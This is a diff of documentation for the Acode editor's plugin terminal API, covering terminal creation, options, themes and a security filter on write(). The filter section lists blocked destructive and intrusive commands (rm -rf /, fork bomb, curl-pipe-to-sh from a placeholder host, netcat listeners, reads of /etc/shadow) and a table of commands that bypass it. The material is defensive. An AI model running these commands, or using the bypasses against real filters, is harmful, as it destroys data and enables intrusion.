+- `themes.unregister(name, pluginId)`: Removes a theme registered by your plugin. Returns a `boolean`.
+- `themes.get(name)`: Returns a theme object by name (falls back to `dark`).
+- `themes.getAll()`: Returns a plain object map of all themes.
 - `themes.getNames()`: Returns an array of available theme names.
 - `themes.createVariant(baseName, overrides)`: Clones a theme with overrides.
 
@@ -37,41 +41,150 @@ The native terminal environment is also exposed globally as `Terminal`. Methods
 // Generic create (chooses mode from options)
 const term = await terminal.create({
   name: 'My Terminal',
-  theme: 'dark', // Any installed theme
+  theme: terminal.themes.get('dark'), // must be an OBJECT, not a name
 });
 
-// Local terminal (no backend), It is like a empty terminal instance where you can write stuff , it doesn't opens any shell
+// Local terminal (no backend). An empty terminal instance where you can write
+// output. It does not open any shell and accepts no input.
 const local = await terminal.createLocal({ name: 'Plugin Output' });
 
-// Server terminal (connects to backend if available)
+// Server terminal (connects to the Alpine/AXS backend)
 const server = await terminal.createServer({ name: 'Server Shell' });
 
-// Or via command
+// Or via command (always creates a SERVER terminal)
 acode.exec('new-terminal');
 ```
 
+### `create` vs `createLocal` vs `createServer` <Badge type="tip" text="new" />
+
+All three funnel into the same `TerminalManager.createTerminal(options)`. They differ only in the `serverMode` flag they force:
+
+| Function | `serverMode` | Behaviour |
+| --- | --- | --- |
+| `create(options)` | `options.serverMode !== false`, so **default `true`** | Server mode unless you explicitly pass `serverMode: false` |
+| `createLocal(options)` | forced `false` | No backend, no PTY, no shell. Acode writes `Local terminal mode - ready for output` once at creation |
+| `createServer(options)` | forced `true` | Starts/uses the AXS sandbox backend, creates a PTY, connects a WebSocket |
+
+::: warning `create()` defaults to server mode
+`terminal.create({ name: 'x' })` with no `serverMode` runs the **full install + AXS startup flow**, exactly like `createServer()`. If you want a pure output pane you must pass `serverMode: false` or call `createLocal()`. `serverMode` is also honoured as `false` only when it is strictly `false` (`serverMode !== false`), so `0` and `null` still mean server mode.
+:::
+
+::: tip `createLocal` still respects `terminal.write()`
+A local terminal has no PTY, so everything you `write()` is rendered by xterm as literal output. ANSI colour codes work. Nothing you write can ever be executed.
+:::
+
 ### TerminalOptions
 
-Common options accepted by create functions:
+Options are split in two: keys consumed by `TerminalManager.createTerminal()` itself, and everything else, which is forwarded verbatim into the xterm.js constructor.
+
+**Consumed by the manager**
+
+| Option | Type | Default | Meaning |
+| --- | --- | --- | --- |
+| `name` | `string` | `` `Terminal ${terminalNumber}` `` | Tab/file name. Trimmed. If it matches `^Terminal\s+(\d+)` that number becomes `terminalNumber` and the tab prefix |
+| `serverMode` | `boolean` | `true` | `false` for local mode. Overridden by `createLocal` / `createServer` |
+| `render` | `boolean` | `true` | `false` creates the tab without rendering (`render !== false`) |
+| `pinned` | `boolean` | `false` | Passed to the `EditorFile`; a pinned tab is not closed by `file.remove()` |
+| `reconnecting` | `boolean` | `false` | Suppresses the error alert dialog on failure (used by session restore) |
+| `pid` | `string` | — | Attach to an existing AXS session instead of creating one. Only meaningful in server mode |
+
+**Forwarded to xterm.js**
+
+| Option | Type | Default | Notes |
+| --- | --- | --- | --- |
+| `rows` | `number` | `24` | Initial size hint |
+| `cols` | `number` | `80` | Initial size hint |
+| `port` | `number` | `8767` | AXS HTTP/WebSocket port on `127.0.0.1`. Used for session create, resize and terminate |
+| `renderer` | `string` | `"auto"` | `"auto"` and `"webgl"` both load `@xterm/addon-webgl` and silently fall back to canvas if WebGL fails; `"canvas"` never loads it |
+| `theme` | `object` | app setting `"dark"` resolved | **Must be a theme object**, see below |
+| `fontSize` | `number` | `12` | App terminal setting |
+| `fontFamily` | `string` | `"MesloLGS NF Regular"` | App terminal setting |
+| `fontWeight` | `string` | `"normal"` | App terminal setting |
+| `cursorBlink` | `boolean` | `true` | App terminal setting |
+| `cursorStyle` | `string` | `"block"` | App terminal setting |
+| `cursorInactiveStyle` | `string` | `"outline"` | App terminal setting |
+| `scrollback` | `number` | `1000` | App terminal setting |
+| `tabStopWidth` | `number` | `4` | App terminal setting |
+| `convertEol` | `boolean` | `true` | App terminal setting |
+| `letterSpacing` | `number` | `0` | App terminal setting |
+| `allowProposedApi` | `boolean` | `true` | xterm option |
+| `scrollOnUserInput` | `boolean` | `true` | xterm option |
+
+Any other xterm.js option (`overviewRuler`, `minimumContrastRatio`, `drawBoldTextInBrightColors`, …) is also passed straight through.
+
+::: danger `theme` must be an object, not a name
+The component resolves the app's theme setting **before** merging your options:
+
+```js
+this.options = {
+  // ...
+  theme: TerminalThemeManager.getTheme(terminalSettings.theme),
+  // ...
+  ...options,   // your `theme` wins
+};
+```
+
+Because your options are spread **last**, `theme: 'dark'` replaces the resolved object with a plain string. Nothing re-resolves it afterwards — `mount()` then does `this.container.style.background = this.options.theme.background`, which is `undefined` for a string, and xterm receives a string where it expects a theme object. Always pass the object:
+
+```js
+const out = await terminal.createLocal({
+  name: 'Plugin Output',
+  theme: terminal.themes.get('nord'),
+});
+```
+
+`component.updateTheme(nameOrObject)` is the one place that **does** accept a name string, because it explicitly calls `TerminalThemeManager.getTheme()` for strings.
+:::
+
+::: warning There is no PTY spawn options
+Acode does **not** expose node-pty style spawn arguments. `args`, `cwd`, `env`, `term`, `type` and a caller-supplied `id` are **not** options. The PTY is created server-side by AXS with a fixed `POST /terminals` body of `{ cols, rows }` only. To run a different program, write it to a server terminal instead of trying to spawn it.
+:::
+
+### What is a "server terminal"? <Badge type="tip" text="new" />
 
-- `name`: Display name for the terminal tab.
-- `serverMode`: Boolean to force server connection (default true) or local mode (false).
-- `port`: Useful in server mode to connect to specific `axs` port. Backend HTTP/WS port (default 8767).
-- `theme`: Theme name to apply (see Themes).
-- `rows, cols`: Preferred initial size hints.
-- `renderer`: Preferred xterm.js renderer. Accepts `'auto'` (default; prefers `webgl`), `'webgl'`, or `'canvas'`. Use `webgl` for best performance; `canvas` is a fallback and may be slower.
-- `fontSize`: Initial font size.
-- And other xtermjs terminal options such as: allowProposedApi,scrollOnUserInput,fontFamily,fontWeight,cursorBlink,cursorStyle,cursorInactiveStyle,scrollback,letterSpacing, etc
+A server terminal is a real interactive shell. In server mode the manager:
+
+1. Checks `Terminal.isInstalled()` and `Terminal.isSupported()`, and if needed opens a **"Terminal Installation"** tab and streams the Alpine/AXS download + extraction log into it. Creation only continues if `Terminal.install()` resolves `true`.
+2. Starts AXS if it is not already running (`Terminal.isAxsRunning()`), calls `Executor.setProotDebug(...)`, then polls `http://127.0.0.1:<port>/status` up to **20 times, 500 ms apart**, waiting for `OK`.
+3. `POST /terminals` with `{ cols, rows }` to get a **PID**, which becomes the terminal id.
+4. Opens `ws://127.0.0.1:<port>/terminals/<pid>`, attaches xterm's `AttachAddon`, and forwards keystrokes both ways.
+
+Because it is a live PTY, `terminal.write(id, 'ls -la\r')` really does execute `ls -la`. This is why the module-level `write()` is filtered (see below), and it is exactly why `Executor` exists as a separate, unfiltered path for background work.
+
+### Remote (SSH) terminals <Badge type="tip" text="new" />
+
+`createTerminal()` accepts an internal `remoteSsh` option, which switches the transport from AXS WebSocket to the `sftp` native plugin's interactive shell:
+
+```js
+{
+  remoteSsh: {
+    profileId: 'profile-xxxx',      // must start with "profile-"
+    displayName: 'my-server',       // shown as the tab subtitle
+    initialDirectory: '/srv/app',   // optional; a `cd` is sent when it isn't "/"
+  }
+}
+```
+
+When `remoteSsh` is set: `component.pid` becomes `` `ssh:<sessionId>` ``, session data flows over `sftp.writeShell()` instead of a WebSocket, and Acode **ignores `port`**. The manager exposes a dedicated helper, `createRemoteTerminal(storage, options)`, which builds this from an SFTP storage URL, but that helper is **not** part of the `acode.require('terminal')` module — it is reachable only from inside Acode.
+
+::: tip OSC 7777 is local-only
+A remote SSH host can emit `\e]7777;open;file;/path\e\\`, but Acode ignores it when `remoteSsh` is set — a remote machine must not be able to ask for files on the Android device.
+:::
 
 ### Return Value
 
-The create methods resolve to an instance object:
+All three create functions resolve to an instance object:
+
+| Field | Type | Description |
+| --- | --- | --- |
+| `id` | `string` | `component.pid` when the backend supplied one, otherwise a generated `terminal_1`, `terminal_2`, … |
+| `name` | `string` | Tab/file name |
+| `terminalNumber` | `number` | Ordinal used for the `Terminal N` tab prefix |
+| `component` | `TerminalComponent` | The xterm.js wrapper — see [Terminal instance surface](#terminal-instance-surface) |
+| `file` | `EditorFile` | EditorFile tab representing the terminal |
+| `container` | `HTMLElement` | The `div.terminal-content` DOM element hosting the terminal |
 
-- id: Unique id (PID when available; fallback to generated id).
-- name: Terminal name.
-- component: [TerminalComponent instance](https://github.com/Acode-Foundation/Acode/blob/a38f019444cac4c155aff5f18df52d8685fb171d/src/components/terminal/terminal.js#L24).
-- file: EditorFile tab representing the terminal.
-- container: The DOM element hosting the terminal.
+The promise is rejected when creation fails (install failure, AXS not ready, unsupported architecture, WebSocket connect timeout of 5 s), after Acode has already disposed the component and force-removed the tab.
 
 ## Manage
 
@@ -81,10 +194,10 @@ const t = terminal.get('terminal_1');
 
 // Iterate all terminals
 for (const [id, inst] of terminal.getAll()) {
-  console.log(id, inst.name);
+  console.log(id, inst.name, inst.component.pid);
 }
 
-// Write text (ANSI supported)
+// Write text (ANSI supported). Needs \r to actually submit in server mode.
 terminal.write('terminal_1', 'Hello World!\r\n');
 
 // Clear and close
@@ -92,17 +205,209 @@ terminal.clear('terminal_1');
 terminal.close('terminal_1');
 ```
 
+### `get(id)`
+
+Returns the instance object for `id`, or **`null`** when there is no such terminal (it is not `undefined`). Silently no-ops on `write`/`clear`/`close` for an unknown id.
+
+### `getAll()`
+
+Returns the manager's **live internal `Map`** keyed by terminal id — not a copy. Mutating it corrupts Acode's registry. Iterate it, don't write to it.
+
+### `write(id, data)`
+
+```js
+terminal.write(id, 'plain output\r\n');
+terminal.write(id, '\u001b[36mcyan\u001b[0m\r\n');
+terminal.write(id, 'ls -la\r');       // server mode: actually executes
+```
+
+| Parameter | Type | Notes |
+| --- | --- | --- |
+| `id` | `string` | Terminal id from `create*()` or `get(id).id` |
+| `data` | `string` | **Must be a string.** Anything else is dropped with a console warning |
+
+- **Returns: `undefined`.** It is fire-and-forget.
+- In **server mode** the data is sent through the PTY's WebSocket, so it is *input*, not output.
+- In **local mode** (or when the socket is not `OPEN`) it is handed straight to `terminal.write(data)`, i.e. rendered as output.
+- It routes through a private security filter. See below.
+
 > [!Note]
-> write uses a secured path internally to prevent unintended escape sequences from breaking state.
+> `terminal.write()` is the only filtered path. `terminal.get(id).component.write(data)` calls `TerminalComponent.write()` **directly and bypasses every check** — the filter lives in the module wrapper, not in the component.
+
+### The `write()` security filter <Badge type="tip" text="new" />
+
+`acode.js` routes `terminal.write` through a private `#secureTerminalWrite(id, data)`. Every plugin-authored write passes these checks, in this order:
+
+| # | Check | On failure |
+| --- | --- | --- |
+| 1 | `typeof data !== "string"` | `console.warn("Terminal write data must be a string")`, write dropped, returns `undefined` |
+| 2 | 24 dangerous patterns — 23 anchored command lines plus the null-byte check (table below) | `console.warn("Blocked potentially dangerous terminal command: …")` + toast **`"Potentially dangerous command blocked for security"`** (3 s) |
+| 3 | Command substitution: if the data contains both `$(` and `)`, every `$( … )` group is re-tested against the same 24 patterns | `console.warn("Blocked command substitution with dangerous content: …")` + toast **`"Command substitution blocked for security"`** (3 s) |
+| 4 | `data.length > 64 * 1024` | `console.warn("Terminal write data truncated - exceeded 65536 characters")`, then the payload is cut to 65536 chars and **`"\n[Data truncated for security]\n"`** is appended |
+
+Nothing is ever partially written: on a block the function returns before touching the terminal.
+
+#### Blocked patterns
+
+Every command pattern is anchored with `^ … $` **and the `m` flag**, so it must match a whole **line**. `rm -rf /` is blocked; `echo hi; rm -rf /` is **not** (the line does not start with `rm`), and `sudo rm -rf /data` is blocked by the `sudo rm -rf /` rule because `/data` still starts with `/`.
+
+| # | Regex (as written in source) | Blocked example |
+| --- | --- | --- |
+| 1 | `/^\s*rm\s+-rf?\s+\/[^\r\n]*[\r\n]?$/m` | `rm -rf /` |
+| 2 | `/^\s*rm\s+-rf?\s+\*[^\r\n]*[\r\n]?$/m` | `rm -rf *` |
+| 3 | `/^\s*rm\s+-rf?\s+~[^\r\n]*[\r\n]?$/m` | `rm -rf ~` |
+| 4 | `/^\s*mkfs\.[^\r\n]*[\r\n]?$/m` | `mkfs.ext4 /dev/block/sda` |
+| 5 | `/^\s*dd\s+if=\/[^\r\n]*[\r\n]?$/m` | `dd if=/dev/zero of=/dev/sda` |
+| 6 | `/^\s*:(){ :\|:& };:[^\r\n]*[\r\n]?$/m` | `:(){ :\|:& };:` (fork bomb) |
+| 7 | `/^\s*sudo\s+dd\s+if=\/[^\r\n]*[\r\n]?$/m` | `sudo dd if=/dev/zero of=/dev/sda` |
+| 8 | `/^\s*sudo\s+rm\s+-rf?\s+\/[^\r\n]*[\r\n]?$/m` | `sudo rm -rf /` |
+| 9 | `/^\s*curl\s+[^\r\n]*\|\s*sh[^\r\n]*[\r\n]?$/m` | `curl -fsSL https://get.example.com/i.sh \| sh` |
+| 10 | `/^\s*wget\s+[^\r\n]*\|\s*sh[^\r\n]*[\r\n]?$/m` | `wget -qO- https://get.example.com/i.sh \| sh` |
+| 11 | `/^\s*bash\s+<\s*\([^\r\n]*[\r\n]?$/m` | `bash <(curl -s https://get.example.com/i.sh)` |
+| 12 | `/^\s*sh\s+<\s*\([^\r\n]*[\r\n]?$/m` | `sh <(curl -s https://get.example.com/i.sh)` |
+| 13 | `/^\s*nc\s+-l\s+-p\s+\d+[^\r\n]*[\r\n]?$/m` | `nc -l -p 4444` |
+| 14 | `/^\s*ncat\s+-l\s+-p\s+\d+[^\r\n]*[\r\n]?$/m` | `ncat -l -p 4444` |
+| 15 | `/^\s*python\s+.*SimpleHTTPServer[^\r\n]*[\r\n]?$/m` | `python -m SimpleHTTPServer 8000` |
+| 16 | `/^\s*python\s+.*http\.server[^\r\n]*[\r\n]?$/m` | `python3 -m http.server` |
+| 17 | `/^\s*kill\s+-9\s+1\s*[\r\n]?$/m` | `kill -9 1` |
+| 18 | `/^\s*killall\s+-9\s+\*[^\r\n]*[\r\n]?$/m` | `killall -9 *` |
+| 19 | `/^\s*chmod\s+777\s+\/[^\r\n]*[\r\n]?$/m` | `chmod 777 /` |
+| 20 | `/^\s*chown\s+[^\s]+\s+\/[^\r\n]*[\r\n]?$/m` | `chown root /` |
+| 21 | `/^\s*cat\s+\/etc\/passwd[^\r\n]*[\r\n]?$/m` | `cat /etc/passwd` |
+| 22 | `/^\s*cat\s+\/etc\/shadow[^\r\n]*[\r\n]?$/m` | `cat /etc/shadow` |
+| 23 | `/^\s*cat\s+\/root\/[^\r\n]*[\r\n]?$/m` | `cat /root/.bashrc` |
+| 24 | `/\x00/g` | any payload containing a NUL byte |
+
+::: tip The filter is a blocklist, not a sandbox
+It is a **line-anchored blocklist**, so it is trivially bypassable. These all pass and still do the damage:
+
+| Bypasses | Why |
+| --- | --- |
+| `rm -rf ${HOME}` | No literal `/` after `-rf`, and no `*` or `~` |
+| `rm -fr /` | `-rf?` only matches `-r` / `-rf`, never `-fr` |
+| `sudo sh -c 'rm -rf /'` | The `sudo rm -rf /` rule requires `sudo` immediately followed by `rm` |
+| `$(echo rm -rf /)` | The substitution scan re-tests the whole `$( … )` group, and the group still does not *start* with `rm` |
+| `nc -l 4444` | The netcat rules require the full `-l -p <port>` form |
+| `curl -s url -o s.sh && sh s.sh` | The pipe-to-shell rules need a literal `\| sh` on the same line |
+| `echo cm0=… \| base64 -d \| sh` | No `$`, no `-p`, and the first line does not start with `curl`/`wget` |
+
+Do not treat `terminal.write()` as a security boundary for untrusted input. If you need to execute a command with attacker-controlled arguments, validate them yourself, or use a local (non-server) terminal, which has no PTY to attack at all.
+:::
+
+::: warning Null bytes and truncation are silent from the caller's side
+Both a block and a truncation return `undefined`. The only signals are the console warning and the toast. If a plugin needs to know, keep its own length check before calling.
+:::
+
+### `clear(id)`
+
+Calls `component.clear()` → `xterm.clear()`. Clears the viewport and the scrollback buffer. Returns `undefined`. No-op for an unknown id.
+
+### `close(id)` <Badge type="tip" text="new" />
+
+```js
+terminal.close(instance.id); // disposes the session
+instance.file.remove(true);  // ALSO removes the tab, if you want that
+```
+
+`terminal.close(id)` maps to `TerminalManager.closeTerminal(id)` where the second parameter `removeTab` **defaults to `false`**.
+
+| What happens | |
+| --- | --- |
+| Sets `component.intentionalClose = true` | so the resulting socket close is not treated as a crash |
+| Removes the persisted session record | only for non-remote server terminals |
+| Disconnects the `ResizeObserver` and focus handlers | |
+| Calls `component.dispose()` | terminates the PTY (`POST /terminals/<pid>/terminate`), disposes addons and xterm |
+| Deletes the instance from the registry | |
+| **Does not remove the editor tab** | you must call `instance.file.remove(true)` yourself |
+| Calls `Executor.stopService()` when it was the last terminal | side effect worth knowing about |
+
+**Returns `Promise<void>`.** To fully close a terminal from a plugin, call `close(id)` then `file.remove(true, { ignorePinned: true })`.
+
+::: warning Do not reuse Acode's event callbacks
+`TerminalManager.setupTerminalHandlers()` already assigns `component.onConnect`, `onDisconnect`, `onError`, `onTitleChange`, `onProcessExit` and `onOscOpen`. They are **single-assignment callback properties**, not an EventEmitter — assigning your own handler **overwrites** Acode's exit/disconnect cleanup and can leave a zombie tab with a dead PTY. If you need exit notifications, chain instead:
+
+```js
+const previous = instance.component.onProcessExit;
+instance.component.onProcessExit = (data) => {
+  previous.call(instance.component, data);
+  // your logic here
+};
+```
+
+For raw streaming, subscribe to the xterm instance instead — that *is* EventEmitter-style and returns a disposable:
+
+```js
+const sub = instance.component.terminal.onData((data) => { /* keystrokes */ });
+sub.dispose();
+```
+
+The component's own `onConnect`/`onDisconnect`/`onError`/`onTitleChange`/`onBell`/`onProcessExit`/`onOscOpen` are declared as no-op prototype methods and are always overwritten by the manager right after `create*()` resolves.
+:::
+
+## Touch selection "More" options <Badge type="tip" text="new" />
+
+`terminal.moreOptions` and `terminal.touchSelection.moreOptions` are **the same object literal** — pick either spelling. Options registered here appear in the sheet opened by the "More" row of Acode's terminal touch-selection context menu.
+
+```js
+const id = terminal.moreOptions.add({
+  id: 'com.example.plugin.copy-cwd',
+  label: 'Copy working directory',
+  icon: 'content_copy',
+  enabled: (ctx) => !!ctx.selection,
+  action: async (ctx) => {
+    // ctx.selection may be empty
+  },
+});
+
+terminal.moreOptions.list();   // [{ id, label, icon, enabled, action }, …]
+terminal.moreOptions.remove(id);
+```
+
+| Method | Signature | Returns |
+| --- | --- | --- |
+| `add` | `add(option) => string \| null` | The normalised id, or `null` if the option was rejected |
+| `remove` | `remove(id) => boolean` | `true` if an option was deleted |
+| `list` | `list() => Array<object>` | Shallow copies of every registered option |
+
+### Option shape
+
+| Key | Type | Required | Notes |
+| --- | --- | --- | --- |
+| `label` | `string \| (ctx) => string` | **Yes** | Aliases: `text`, `title`. A function is resolved at menu-open time; if it returns `""`/`null` the entry is hidden |
+| `action` | `(ctx) => void \| Promise<void>` | **Yes** | Aliases: `onselect`, `onclick`. Awaited; a throw is caught, logged, and toasted as `Failed to execute action.` |
+| `id` | `string` | No | Generated as `` `terminal_more_option_${n}` `` when omitted or empty. Re-using an id **replaces** the option |
+| `icon` | `string` | No | Defaults to `null` |
+| `enabled` | `boolean \| (ctx) => boolean` | No | Defaults to enabled. `false`/a function returning `false` greys the row out and blocks `action` |
+
+### `action` context
+
+| Field | Type | Description |
+| --- | --- | --- |
+| `terminal` | `Terminal` | The raw xterm instance |
+| `touchSelection` | `TerminalTouchSelection` | The selection controller |
+| `selection` | `string` | Current selection (falls back to `terminal.getSelection()`) |
+| `clearSelection` | `() => void` | Force-clear the selection |
+| `copySelection` | `() => void` | Copy selection to clipboard |
+| `pasteFromClipboard` | `() => void` | Paste clipboard into the terminal |
+| `selectAll` | `() => void` | Select all terminal text |
+
+::: tip A built-in entry always exists
+Acode pre-registers `__acode_terminal_select_all__` ("Select all"). It is returned by `list()` and is guaranteed to be present; you can add your own entries alongside it but you should not remove it.
+:::
+
+::: warning Nothing auto-cleans these
+Touch-selection options are stored in a module-level `Map` with **no plugin scoping** — unlike themes, there is no `pluginId`. Remove your own options from `acode.setPluginUnmount(...)` or they will fire against the next version of your plugin.
+:::
 
 ## Themes
 
 Register custom themes or derive variants from existing ones. You can also query available themes.
 
 ```js
-// Register
+// Register — returns true on success, false on conflict or invalid shape
 terminal.themes.register('myTheme', {
-  background: '#1a1a1a', foreground: '#ffffff', cursor: '#ffffff', cursorAccent: '#1a1a1a', selection: '#ffffff40',
+  background: '#1a1a1a', foreground: '#ffffff', cursor: '#ffffff', cursorAccent: '#1a1a1a',
+  selectionBackground: '#ffffff40',
   black: '#000000', red: '#ff5555', green: '#50fa7b', yellow: '#f1fa8c', blue: '#bd93f9', magenta: '#ff79c6', cyan: '#8be9fd', white: '#f8f8f2',
   brightBlack: '#44475a', brightRed: '#ff6e6e', brightGreen: '#69ff94', brightYellow: '#ffffa5', brightBlue: '#d6acff', brightMagenta: '#ff92df', brightCyan: '#a4ffff', brightWhite: '#ffffff',
 }, 'my-plugin-id');
@@ -123,23 +428,124 @@ terminal.themes.unregister('darkCustom', 'my-plugin-id');
 
 ### Required Theme Keys
 
-- background, foreground, cursor, cursorAccent, selection
+`register()` validates the theme and **refuses** it (returns `false`, logs the offending colour) unless all **18** of these keys are present and are strings:
+
+- background, foreground, cursor
 - black, red, green, yellow, blue, magenta, cyan, white
 - brightBlack, brightRed, brightGreen, brightYellow, brightBlue, brightMagenta, brightCyan, brightWhite
 
+::: tip `cursorAccent` and `selection` are optional
+`cursorAccent`, `selectionBackground` / `selection`, `selectionForeground`, `selectionInactiveBackground`, `scrollbarSliderBackground`, `scrollbarSliderHoverBackground`, `scrollbarSliderActiveBackground` and `overviewRulerBorder` are **not** validated. For legacy themes written against older xterm.js, a `selection` key is automatically renamed to `selectionBackground` on registration and the original `selection` key is deleted.
+:::
+
+### Method reference
+
+| Method | Signature | Behaviour |
+| --- | --- | --- |
+| `register` | `register(name, theme, pluginId) => boolean` | `false` if `name` collides with a **built-in** theme (logged as a conflict), `false` if validation fails. Otherwise stores `{ ...normalizedTheme, _pluginId: pluginId, _isPlugin: true }` and returns `true` |
+| `unregister` | `unregister(name, pluginId) => boolean` | `false` if no such theme, `false` if `theme._pluginId !== pluginId`. This `pluginId` check is the **only** ownership scoping in the theme API |
+| `get` | `get(name) => object` | Plugin themes first, then built-ins, then **falls back to the built-in `dark`** for unknown names — it never returns `undefined` |
+| `getAll` | `getAll() => object` | Shallow merge of built-ins and plugin themes into a new object |
+| `getNames` | `getNames() => string[]` | `Object.keys(getAll())` |
+| `createVariant` | `createVariant(baseName, overrides) => object` | `{ ...getTheme(baseName), ...overrides }` |
+
+Built-in names: `dark`, `light`, `solarizedDark`, `solarizedLight`, `monokai`, `dracula`, `nord`, `gruvbox`, `oneDark`, `material`, `tokyoNight`, `catppuccin`, `synthwave`, `cyberpunk`, `forest`, `sunset`, `ocean`, `glass`, `glassDark`.
+
+::: warning `pluginId` is ownership metadata only
+It is stamped onto the theme as `_pluginId` and checked by `unregister()`. It does **not** namespace the theme, does not prevent another plugin from reading it via `get()`, and does not auto-clean anything — `unregisterPluginThemes(pluginId)` exists on the manager but is never called from anywhere in Acode and is not exposed on `terminal.themes`. Call `terminal.themes.unregister(name, pluginId)` yourself from `acode.setPluginUnmount(id, ...)`.
+:::
+
+::: warning `createVariant` has no override allowlist
+`createVariant` merges **any** key you pass. If the base is a **plugin** theme, the variant inherits its `_pluginId` and `_isPlugin` markers, so registering the variant under a new name carries the original plugin's ownership over to it — and `unregister(variantName, yourId)` will then fail. Variant a **built-in** theme, or strip the metadata, if you intend to register the result.
+:::
+
+::: tip Registering the same plugin name twice overwrites
+The built-in collision check only looks at built-ins, so `register('myTheme', v1, 'p')` followed by `register('myTheme', v2, 'p')` silently replaces `v1`. Changing a plugin's `pluginId` between those calls will make the theme permanently un-unregisterable.
+:::
+
+## Terminal instance surface <Badge type="tip" text="new" />
+
+`instance.component` is a `TerminalComponent`. These are the members you can rely on.
+
+**Methods**
+
+| Member | Signature | Notes |
+| --- | --- | --- |
+| `write` | `write(data)` | Remote SSH → `sftp.writeShell`; connected server → `websocket.send`; otherwise `terminal.write(data)`. **Unfiltered** |
+| `writeln` | `writeln(data)` | Always `terminal.writeln(data)` — never goes to the PTY |
+| `clear` | `clear()` | `terminal.clear()` |
+| `focus` / `blur` | `focus()` / `blur()` | |
+| `fit` | `fit()` | `FitAddon.fit()` |
+| `fitAndResizeTerminal` | `fitAndResizeTerminal(forceServerSync = false)` | Fit, then sync dims to the PTY if they changed or if forced |
+| `resizeTerminal` | `resizeTerminal(cols, rows, force = false)` | Skips duplicate `colsxrows` requests; server mode only |
+| `search` | `search(term, skip, backward) => boolean` | Uses `SearchAddon.findNext` / `findPrevious` with the app's regex/whole-word/case settings. Returns `false` for an empty term. The `skip` argument is accepted but **never read** in the source — it always starts from the first match |
+| `updateTheme` | `updateTheme(theme: object \| string)` | **Accepts a theme name string** and resolves it via the theme manager |
+| `updateOptions` | `updateOptions(options)` | Writes keys onto both `terminal.options` and `this.options`; routes `theme` through `updateTheme` |
+| `updateFontSize` | `updateFontSize(fontSize)` | Persists to `settings.terminalSettings.fontSize`, refreshes and re-fits. No-op if unchanged |
+| `increaseFontSize` / `decreaseFontSize` | `()` | Clamped to 8–24 |
+| `updateImageSupport` | `updateImageSupport(enabled)` | Loads/disposes `ImageAddon` |
+| `updateFontLigatures` | `updateFontLigatures(enabled)` | Loads/disposes the ligatures addon |
+| `updateScrollbarVisibility` | `updateScrollbarVisibility(visible)` | Toggles the scrollbar gutter via `overviewRuler.width` |
+| `updateBackgroundColor` | `updateBackgroundColor()` | Syncs container + xterm background to the theme |
+| `copySelection` / `pasteFromClipboard` | `()` | Clipboard helpers; silently no-op without `cordova.plugins.clipboard` |
+| `mount` | `mount(container)` | Opens xterm, loads addons, first fit + focus |
+| `createContainer` | `createContainer()` | Builds the `div.terminal-container` |
+| `createSession` | `createSession() => Promise<string>` | Throws in local mode. Returns the new PTY pid |
+| `connectToSession` | `connectToSession(pid?)` | Throws in local mode. Creates a session if `pid` is omitted. Rejects after a 5 s connect timeout |
+| `terminate` | `terminate() => Promise<void>` | Closes the SSH shell or WebSocket, then `POST /terminals/<pid>/terminate`. Sets `intentionalClose` |
+| `dispose` | `dispose()` | `terminate()` + dispose addons, xterm, listeners and remove the container |
+| `handleOscOpen` | `handleOscOpen(type, path)` | Invokes `onOscOpen`; Acode's handler is a no-op for remote SSH |
+| `loadTerminalFont` | `loadTerminalFont() => Promise<void>` | Injects + awaits the configured font |
+
+**Properties**
+
+| Property | Type | Notes |
+| --- | --- | --- |
+| `terminal` | `Terminal` (xterm) | Full xterm.js API. `onData` / `onResize` / `onTitleChange` / `onBell` return `{ dispose() }` |
+| `pid` | `string \| null` | AXS pid, or `` `ssh:<sessionId>` `` for remote terminals |
+| `isConnected` | `boolean` | |
+| `serverMode` | `boolean` | |
+| `remoteSsh` | `object \| null` | |
+| `options` | `object` | The merged option set actually handed to xterm |
+| `websocket` | `WebSocket \| null` | |
+| `fitAddon`, `attachAddon`, `searchAddon`, `unicode11Addon`, `webLinksAddon`, `webglAddon`, `imageAddon`, `ligaturesAddon` | `object \| null` | Loaded conditionally |
+| `touchSelection`, `touchScrolling` | `object \| null` | Mobile only, created after the first animation frame |
+| `intentionalClose`, `processExited` | `boolean` | Lifecycle flags; read them before acting on `onDisconnect` |
+| `container` | `HTMLElement` | |
+
+**Event callbacks** (assignable properties, already claimed by Acode): `onConnect()`, `onDisconnect(info)`, `onError(error)`, `onTitleChange(title)`, `onBell()`, `onProcessExit(exitData)`, `onOscOpen(type, path)`.
+
+- `onDisconnect` receives `{ intentional, processExited, code, reason }`.
+- `onProcessExit` receives the AXS exit JSON (`{ exit_code, signal? }`) or `{ exit_code }` for SSH. Acode turns it into a toast such as `Process exited successfully (code 0)`.
+
 ## Behavior & Lifecycle
 
-- Installation flow: When serverMode is true (default), terminal checks if the backend is installed and supported. If missing, an installation terminal opens and streams progress. Creation proceeds only if install succeeds.
-- IDs: If the backend provides a PID, it becomes the terminal id; otherwise a generated id like `terminal_1` is used.
-- Tab: Each terminal is an EditorFile tab with an icon and custom title (PID or generated id). On process exit, the tab closes and a toast shows the exit status.
+- Installation flow: When serverMode is true (default) and it is not a remote SSH terminal, the terminal checks `Terminal.isInstalled()` / `Terminal.isSupported()`. If missing, an installation terminal opens and streams progress. Creation proceeds only if `Terminal.install()` resolves `true`.
+- IDs: If the backend provides a PID, it becomes the terminal id; otherwise a generated id like `terminal_1` is used. The counter is shared with installation terminals, which consume ids in the form `install_terminal_N`.
+- Tab: Each terminal is an `EditorFile` tab with a `icon square-terminal` tab icon and a custom title (PID, SSH display name, or the terminal id). On process exit the tab closes and a toast shows the exit status.
+- Session persistence: non-remote server terminals are stored in `localStorage` under `acodeTerminalSessions` as `{ pid, name, pinned }` and restored on next launch — but only while `Terminal.isAxsRunning()` reports the backend alive.
+- Close confirmation: closing a tab asks for confirmation unless `settings.terminalSettings.confirmTabClose === false`. The forced removal inside `closeTerminal(id, true)` sets `_skipTerminalCloseConfirm`, but because `terminal.close(id)` passes `removeTab = false` it never reaches that path — a tab the user closes by hand after a plugin called `terminal.close(id)` still prompts.
+- End-of-session convergence: process exit, unexpected disconnect and socket errors all funnel into one idempotent `finishTerminalSession()`, so a missed exit message cannot leave a zombie tab.
 
 ## Native Terminal Environment
 
-Use the global `Terminal` object when you need to inspect or manage the underlying terminal runtime directly.
+Use the global `Terminal` object when you need to inspect or manage the underlying terminal runtime directly. It is clobbered onto `window.Terminal` by the terminal plugin.
 
-### `Terminal.isInstalled()`
+| Method | Signature | Returns |
+| --- | --- | --- |
+| `isInstalled` | `isInstalled() => Promise<boolean>` | `true` when `alpine/`, `.downloaded`, `.extracted` and `.configured` all exist under the app files dir |
